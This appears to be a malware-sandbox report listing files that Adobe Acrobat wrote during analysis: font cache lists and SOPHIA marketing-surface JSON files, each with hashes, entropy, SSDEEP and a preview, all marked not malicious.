SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3908

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.380751002031697
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfalNTUHfnZiQ0YZkeoAvJM3g98kUwPeUkwRe9:YvXKXS0fc9GMbLUkee9
MD5:	1245D58F030A434D46C12E153336E1FE
SHA1:	418CDC74D802773EB8EB13994276D0350AA45419
SHA-256:	FEF4D23705055E72641571177BBDDDB29926B46BB262D786187CED2D0D7DC5D0
SHA-512:	C25037390E45A8013097DAD841E6DA742F6EDFBF48FDF401C805D4BEA4E4B51E7FE6FD96DE2064F8F9C30854BAF32440744EDFE82FF08FBAEC602BAA772D2948
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e2b72286-ff2d-4239-b11b-0616ef6f3cb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736738066144,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.332184471666006
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfalNTUHfnZiQ0YZkeoAvJfBoTfXpnrPeUkwRe9:YvXKXS0fc9GWTfXcUkee9
MD5:	26154E83003CD32092F02D992A882FD5
SHA1:	A0012C1F19456457EFD4749054EED8110522940F
SHA-256:	0A8175600049D3ADDA0C77408EB633C1B98F22CB2E2092B80605C2C0391318B2
SHA-512:	ADD6359F2E244CC60C47F05169A9D46D588CC4DF93942234DA6FB5BCFE762951FBA419DA958391FE551D87D1FC02ABA04590C884305E2DC72EFB17EA7B61AD2B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e2b72286-ff2d-4239-b11b-0616ef6f3cb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736738066144,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.311179507061082
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfalNTUHfnZiQ0YZkeoAvJfBD2G6UpnrPeUkwRe9:YvXKXS0fc9GR22cUkee9
MD5:	7EEF957A3BCCCE50E9E25A96F9688525
SHA1:	05601FB43F4B3A883D8186869F7B8E94F6533AC0
SHA-256:	E3487EB360B5FCEDAE4DAE2586C336A367549BE65050D97CD178BB577D120FBF
SHA-512:	0350B07538A59C2C8B97A065C26C99DF12E0DC9B8EF8F374C9B334B772A7F82F3D6A37104F4D48C7CF445D4FC0CE79F035ED076882F600486593B32368A845CE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e2b72286-ff2d-4239-b11b-0616ef6f3cb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736738066144,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.361383669475089
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfalNTUHfnZiQ0YZkeoAvJfPmwrPeUkwRe9:YvXKXS0fc9GH56Ukee9
MD5:	EB5A75AF88F348799ED332E755B8C48A
SHA1:	C366F36C1DD851F4542D68EA6E9385598AFA2568
SHA-256:	F44FB8D82EC0701468F960A207C4A448E5F7D32567B72396526BF6B5407C9A88
SHA-512:	622DD952D39822F4C98730E7FF08DC640E6DAAF9EA04571A61E03736F4F8BF2F99346149E8AB2CA2D6D621F72778CF16CEEC8075D52C49B66F8F827C8E2B08F5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e2b72286-ff2d-4239-b11b-0616ef6f3cb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736738066144,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6928753342676455
Encrypted:	false
SSDEEP:	24:Yv6XSZCpLgE9cQx8LennAvzBvkn0RCmK8czOCCSp:YvHIhgy6SAFv5Ah8cv/p
MD5:	71794B2FFC1FDD302D15BD4EAD126AB2
SHA1:	1F8102459A9954F64B56403FE5BCC602FAF4561D
SHA-256:	458679960C3E608E32201071751C71893452686CAE3DF717264401D7B801FED8
SHA-512:	90FCE3BEDA179566037D6E3FB50561CE0360D7121535E1EF18A37B44358FA37B1DBAA3310EAAB486ECD21137AB4BD40581CA32F2F50BD0FB40DF4E1EC0332897
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e2b72286-ff2d-4239-b11b-0616ef6f3cb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736738066144,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.313228314314786
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfalNTUHfnZiQ0YZkeoAvJf8dPeUkwRe9:YvXKXS0fc9GU8Ukee9
MD5:	7419051206AB7B8AFFCDCF788F5FF779
SHA1:	3266F92F038D7280311D34B1E29F648A0121C211
SHA-256:	768E2A85745FC456BD297F4552EB6AAD71489D1BBB89A7E9571A269252D9B0BC
SHA-512:	A4FD6468A0A8CCA76D5E4FF441A77C43282D063A6D0ACF04D4DA751B28308D504BDB056E150C20B1D27BCD0BBFE4141E12B5C2B3277A0FED703F6722438EDD18
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e2b72286-ff2d-4239-b11b-0616ef6f3cb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736738066144,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.31510603488611
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfalNTUHfnZiQ0YZkeoAvJfQ1rPeUkwRe9:YvXKXS0fc9GY16Ukee9
MD5:	DF64E3FB302439A50B3C95AB8B0DEFF4
SHA1:	0B87CF3045855422A0B9917A6B21D3E72650D067
SHA-256:	C1FEA7C0BA92359B1D267843424AFFA80E23B24E4CE8A97507415A26D529572E
SHA-512:	7954F4EF51DDD4D600AF2AB49A1A2CFB6AB900A8EAAF9E4B709049AFE3BC10DA6B35A96E1F2BA74A7F62F078E0B977A3234F05717AA982604309746511375FF2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e2b72286-ff2d-4239-b11b-0616ef6f3cb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736738066144,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.324217984965641
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfalNTUHfnZiQ0YZkeoAvJfFldPeUkwRe9:YvXKXS0fc9Gz8Ukee9
MD5:	E32C52BDDDD8ADEAA769DECA0E99FF38
SHA1:	997CCDCF6C3DAA308B854FD882F891C5DC7EB386
SHA-256:	734F27E2B80DF995E77DE64736BDB8A57070B714B74728CFAD5C43031A0F346F
SHA-512:	79D7AD503202F5AB7F4C351C1F4ACFD5F19861C13D36B04A5EE79CBBE6397E743C312D313442717A29D85042B58D29482B6A9F59ED2EE498854B1DA3394C9ACC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e2b72286-ff2d-4239-b11b-0616ef6f3cb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736738066144,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.339739660346857
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfalNTUHfnZiQ0YZkeoAvJfzdPeUkwRe9:YvXKXS0fc9Gb8Ukee9
MD5:	7D6FBFE4D4E6293C35B8F37CBE071E7D
SHA1:	8BBFE4E553839A18CE7F4A072196DC58F0628DF3
SHA-256:	C891BB850CED4C07EDC50CA7E4A403949C6D1B86327FD30F514EDBA63595C385
SHA-512:	116D667D90F0BC40243F4E6237F2AAECF654FEDE1B7C66FC03417063469D90CB3D6D5A6371CE970AD3B3301EBE0090C3783406CD4A6EF2CA5DA1C6FE6852B759
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e2b72286-ff2d-4239-b11b-0616ef6f3cb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736738066144,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.320200412040047
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfalNTUHfnZiQ0YZkeoAvJfYdPeUkwRe9:YvXKXS0fc9Gg8Ukee9
MD5:	2D3E8563B94C14C8F4F7605EDCCB74BB
SHA1:	82F17E164411D2DAFF8636858D625891AC546A85
SHA-256:	6BA83AB1248B00F98DB03BC579CFF5456AC67C9FA9F37199E3442F08E007AB7D
SHA-512:	BBF5A58FB807B616ACFE35B099F68262E1EF0D3B5BCBCF4C13E332F91FB4BB708FDA06B82940F9B9EE9046BC8D94B87B8740924F1A7FCC9EB555FCD65F4BCFD3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e2b72286-ff2d-4239-b11b-0616ef6f3cb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736738066144,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.306905416847604
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfalNTUHfnZiQ0YZkeoAvJf+dPeUkwRe9:YvXKXS0fc9G28Ukee9
MD5:	01DF739000A73D13B67E626F34924859
SHA1:	1E4CFA232008A330EC844940F808ED58370B1EC1
SHA-256:	A5DCB9217A4EBA4BEBA03B80D58EB1024175FBECAE520847A662EF6B5CAE983C
SHA-512:	2DF21DF5460902500AB0DF80596F67FEB101BB32272C427ABAB6200985F68343181A29D5EEB86262F76D87FBAA4E78833B8B42E87F3B653678AA6A9F6B5409D2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e2b72286-ff2d-4239-b11b-0616ef6f3cb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736738066144,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.303608675266899
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfalNTUHfnZiQ0YZkeoAvJfbPtdPeUkwRe9:YvXKXS0fc9GDV8Ukee9
MD5:	31E9EB56B2F82B546F99A53219ACACD8
SHA1:	891A7AEC5D39343DEAE3C8D44BEC8C08B9D07FEB
SHA-256:	7C6140C9817DC74CBD294BA36F81A3C04507F402505473E9F4EAACECA923E95C
SHA-512:	817DBD51A7B98B7D0C32A3FF30EA82376D6F4BC88534B4A492E1F72A584FD7E659F4AD6707E1D1E0F6F0663AC1A7B6A7A1146A6AAD1DCA483D857F4DE8B9C612
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e2b72286-ff2d-4239-b11b-0616ef6f3cb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736738066144,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.306619849359004
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfalNTUHfnZiQ0YZkeoAvJf21rPeUkwRe9:YvXKXS0fc9G+16Ukee9
MD5:	A9950EBB95C566665093FEBCC9054C4F
SHA1:	AE9391D756425C2FD3C95363F066F207BDA8EACD
SHA-256:	E25C9F98C5DF7B1E2181DC2DF64AE50B4BB768A5B5346AFCD6D960C88A1C295C
SHA-512:	A21FFF82E72F4ED2AC31F66348662A67FB21EB8DD65D49DD74E7537D9724310F51E5F8F2DF79ED0C1C93A11EFCFAA4ACAF30C484AC7D53D5C13B7D9EA287B9B3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e2b72286-ff2d-4239-b11b-0616ef6f3cb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736738066144,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6655830536242355
Encrypted:	false
SSDEEP:	24:Yv6XSZeamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSp:YvHaBgkDMUJUAh8cvMp
MD5:	63AF499181009613CB5ACCA961C7B076
SHA1:	0AE9412268E14FCFC2F9D32451DFB2959C7E547E
SHA-256:	64941AA7B869DDB8E994D3793FFA65A06C29BFE2C28662E01C2CBC6433E8F849
SHA-512:	8B1170327AAAD6314405438C0AACCC130BD5D5174FF1E9A7E8FF569AF373E2F21E4DEE694BC43F5982AEA66FC6F6ED8AF0E22A12D8837C92C2DDF8BC60C56E74
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e2b72286-ff2d-4239-b11b-0616ef6f3cb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736738066144,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.285267914245253
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfalNTUHfnZiQ0YZkeoAvJfshHHrPeUkwRe9:YvXKXS0fc9GUUUkee9
MD5:	B002545542ED4E0BB1B8604085FD98C7
SHA1:	A2E06B9DBD52B9E36E1B3567E558BFDEF578C702
SHA-256:	282003876461997D5E4082B8ED6D1B0FC3FB1E85AB5813EF23A289BD92C739F1
SHA-512:	D562EAACCA1B0046719F735898EB5EED00790F5F906CEB5CF674EA90094664E91F045B638B673EFF3179D7836F9622B858840EE1D2124F0C6B1B5C9A1A919C23
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e2b72286-ff2d-4239-b11b-0616ef6f3cb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736738066144,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.286319197637375
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfalNTUHfnZiQ0YZkeoAvJTqgFCrPeUkwRe9:YvXKXS0fc9GTq16Ukee9
MD5:	D0C655EC4939A78BBCCCB7013EA9A461
SHA1:	BF3CA50F2DA9C1AC6B5348BA02EFA9CD9042BC0C
SHA-256:	F6A6BD843428DFA838F99CCF2880B647EC680E0EB8E1817C15A75233426B41CD
SHA-512:	A9C084CB79A31E3F8C3511ADCB9519D5493FADD0B58C3F0BD605C1E0D371FB36D406FEEA00F20D78ACBDB21AC54F83858264A7ABF1D938C790B4471693B35898
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e2b72286-ff2d-4239-b11b-0616ef6f3cb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736738066144,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.137661897393023
Encrypted:	false
SSDEEP:	24:Yd+9z3aGqay+SLVVP6vg/ZpVD+wWIdj+Aj0SG2+2LS73XoCpGbE55MZEg5u91ulz:YQOI4/ZpVywWW+S67SVbEvMZT89az
MD5:	B81B08E85974845A34E7BDB09A1E5D86
SHA1:	512275BE6ADC34D78479A3CF44398121DE6EAFC7
SHA-256:	4909D158A5A438BE57742B101082ACEC04594F65955B0111922B7A02EB0C660C
SHA-512:	16A5ABAEFAF4FE17294AA530E0EEBA623A27DEADC0C770779357E331AA67B9DBC43F141AE28AF7410E8A700B012209487F65141DB08F412FBDF7D7529C59737C
Malicious:	false
